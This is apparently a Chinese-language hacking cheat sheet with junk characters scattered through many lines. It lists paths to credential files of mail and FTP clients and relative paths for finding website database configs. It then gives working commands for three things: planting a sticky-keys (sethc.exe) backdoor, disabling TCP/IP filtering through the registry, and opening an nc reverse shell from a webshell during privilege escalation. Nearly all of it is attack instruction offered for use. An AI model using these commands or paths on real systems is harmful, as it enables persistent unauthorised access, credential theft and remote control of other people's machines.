c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
% h" T( u, c+ k$ M; v; Q( Lc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
  f3 `; _- T  M8 @' uc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
4 G* i% ~( J# B8 o" A1 O4 ]c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
' j7 j9 b# D; T. h3 PC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
) F; E. x, L" vc:\Program Files\腾讯游戏\QQGAME\readme.txt
6 ~+ P( m3 O; c1 Q- L* }- T1 x+ w0 ?c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
) z% q# |: f& M7 H0 d, S/ x  `c:\Program Files\tencent\QQGAME\readme.txt
3 c) y) f2 R9 t8 u1 j5 _0 U7 \9 q, eC:\Program Files\StormII\Storm.exe

0 r* a! b; {4 }& G3.网站相对路径:
- d1 i, Q7 k6 u, ?! Z( ~5 p
/config.php
8 s( o4 M. c; J2 k; H; P) J../../config.php
3 o" h$ k8 K' y) r3 g../config.php
../../../config.php
* d: k9 f3 f. J- m& @- z3 W0 J/config.inc.php
./config.inc.php
5 j' U9 w9 w. E. w; C../../config.inc.php
../config.inc.php
8 e9 Q7 ]9 b" X$ i& \& n! N5 m../../../config.inc.php
/conn.php
./conn.php
' e; d7 T( R9 g, j9 i. Y3 ~../../conn.php
- j9 @1 `7 e1 l% l! @../conn.php
../../../conn.php
/conn.asp
./conn.asp
% \" Z# A; A  k; `4 L../../conn.asp
2 n4 }3 b; l: v2 g- f../conn.asp
# z. |0 B: ~8 I' W& i/ P$ k7 \  L../../../conn.asp
/config.inc.php
  ?% l0 C) r( A7 B7 ?5 I./config.inc.php
2 }* ^: b/ F0 I8 `7 V" b7 t../../config.inc.php
../config.inc.php
../../../config.inc.php
8 E$ o! `% W" u$ D/config/config.php
" L& c5 t4 x! Z../../config/config.php
7 \& ~9 x1 w0 B( y+ I1 W1 Q" A../config/config.php
; E) o  ?6 t6 r' u../../../config/config.php
7 s, H5 d4 R9 N5 c) F7 w  C/config/config.inc.php
$ Z; s. {8 [( r: |% B, M2 r$ F./config/config.inc.php
8 q9 m" A% R  M( v/ W' ~../../config/config.inc.php
../config/config.inc.php
1 h9 J. V/ g" D0 }" Z# ]../../../config/config.inc.php
6 d4 d5 O3 C4 w' d, x5 Z/config/conn.php
; s. _# [, c" R! n# n./config/conn.php
6 d  ~1 V4 g8 S* A) Y- t../../config/conn.php
../config/conn.php
. I3 ]# Y2 p- ~+ }+ ?  j! {3 L, S../../../config/conn.php
( K; {. Q/ [2 b9 N+ P, K! h& \: V  e/config/conn.asp
& I$ @& z& I8 c6 r* w0 B./config/conn.asp
../../config/conn.asp
7 Q3 y  D* @. X- g; c% u../config/conn.asp
  \, X: n* E3 n: B, ^5 {( W../../../config/conn.asp
* a' C! t+ y) R& e( k$ ~! U2 i/config/config.inc.php
; R8 [, P1 ?* L4 k. K; n./config/config.inc.php
* J! t% y5 B+ t7 D" Q../../config/config.inc.php
- ?1 G! R! O- y& q1 b& Y, b. O../config/config.inc.php
" ]$ R! N5 R7 c1 w6 i7 u' @../../../config/config.inc.php
1 L- h8 Z1 K3 k/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
0 Z* t8 \8 ?% c/data/config.inc.php
./data/config.inc.php
, |) |: q3 n2 u2 ^$ Z9 r/ e( c../../data/config.inc.php
../data/config.inc.php
/ H% G* X$ m0 l; j" d../../../data/config.inc.php
' P' O5 x1 q' H- j- w/data/conn.php
" A% L9 K( R9 H4 v" N./data/conn.php
+ |' V# c# O4 p6 g( ~5 `1 u../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
./data/conn.asp
! w7 o3 s" J# i8 c) i; Z../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
9 I3 l* g; t4 c6 ?! o: S* V# w" ?./data/config.inc.php
' S( {5 M8 ]$ \# e* L* e* M' i../../data/config.inc.php
/ I# j5 d; _1 u& ^! i( |../data/config.inc.php
; O0 f8 C7 c2 g& S' u/ s7 Z: N( x../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
( F7 G8 c! v- L../../../include/config.php
/include/config.inc.php
./include/config.inc.php
, x; e- \9 o0 g2 y6 p../../include/config.inc.php
$ [  w- f$ |' B../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
* s+ v! R* b  C& [8 ~./include/conn.php
../../include/conn.php
) y) j9 |( E+ Z" @1 A+ ]../include/conn.php
../../../include/conn.php
5 |9 c( P: @5 ?. q1 L8 q/include/conn.asp
1 n" n: J( c- R; W- M3 ?./include/conn.asp
" p% _- u8 ~7 T6 \9 N: g, E../../include/conn.asp
4 `& ~1 v; A# J6 U" h7 N../include/conn.asp
- s9 C# b2 I8 t+ w../../../include/conn.asp
; m$ N3 t' H' S. X& A/include/config.inc.php
% d' d/ {  u. M9 \2 w3 {./include/config.inc.php
1 {8 \# C3 V5 |! U) l: i../../include/config.inc.php
- p4 Z: R' h. c../include/config.inc.php
../../../include/config.inc.php
9 G0 o/ ~1 y; }# }% [  }8 z1 t2 u9 p/inc/config.php
../../inc/config.php
../inc/config.php
! o8 [+ V: ?9 h$ y$ ?5 s5 K" z0 k../../../inc/config.php
& ?  y! z1 w+ \/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
) h7 B/ ]5 G: F& P" H5 C% p1 W../inc/config.inc.php
../../../inc/config.inc.php
3 x, P: O- n2 A. W2 N# N/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
* z/ ~" F  C5 h( {! I, I; ?" j../../../inc/conn.php
/ [, {0 J' E' U, k. v/inc/conn.asp
./inc/conn.asp
2 p8 c1 C' h" {- q8 Q../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
8 q" ]% i$ b/ ~; [7 t/inc/config.inc.php
1 l; C! \3 C% ]6 t$ U./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
, S: Y5 L) E5 G./index.php
../../index.php
../index.php
../../../index.php
# a+ U* v. p5 Y: _2 V# G/index.asp
- Q- Q5 e7 t& I6 ?7 |. Z$ m9 |' i2 |5 g./index.asp
../../index.asp
+ a4 K- @7 n! U# v& j../index.asp
2 M7 {- S. n0 k; P% w$ b" ~, V../../../index.asp
: U# [1 W" q9 ]/ i/ I& |! O' a( r( G, [替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 q3 A& E" D7 k0 [! T( f
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
# l$ @+ v, _0 \- A$ L, l
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

! z/ w" S8 @3 B4 z　　attrib c:\windows\system32\sethc.exe +h +r +s
3 ?6 |% q1 l) n, z& o* ^% N" u
( g* Y9 ]) K8 H) c7 z2 {　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
  b) }: e# g& p( T; H, OTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
( B% W; r5 |7 }2 h- CHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: }+ F; l$ k4 Z
& Y: b. C) Q# l- v; S3 @分别用
% V. ~1 B/ j& B3 h9 Oregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ O: ?  O& O+ }2 p/ {regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
% `6 c, d3 p3 \9 f
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
% V# H4 i8 J$ E" Z* {; ~
  P% h8 r6 F  O: G再将以上三个文件分别用
2 W, a) O) R* Yregedit -s D:\a.reg
regedit -s D:\b.reg
6 @) s' V' H5 H' y- ]% E4 k3 Jregedit -s D:\c.reg
导入注册表即可

! |; O' Q# Y  b6 ]9 B* \8 i& Rwebshell提权小技巧
cmd路径:
: h' s; V2 W. Dc:\windows\temp\cmd.exe
+ `: T9 B0 w9 p( Qnc也在同目录下
: }/ F# u& A9 X- {1 W- H, l# ?例如反弹cmdshell：
) i. C7 h8 L  ?* _" }"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
0 Y% R* x7 `7 c% \3 m3 u通常都不会成功。

6 Z; n& o6 D8 E$ L3 q4 i" p. M) X而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
. q0 J3 N* v* t- {4 I" {( K# H却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功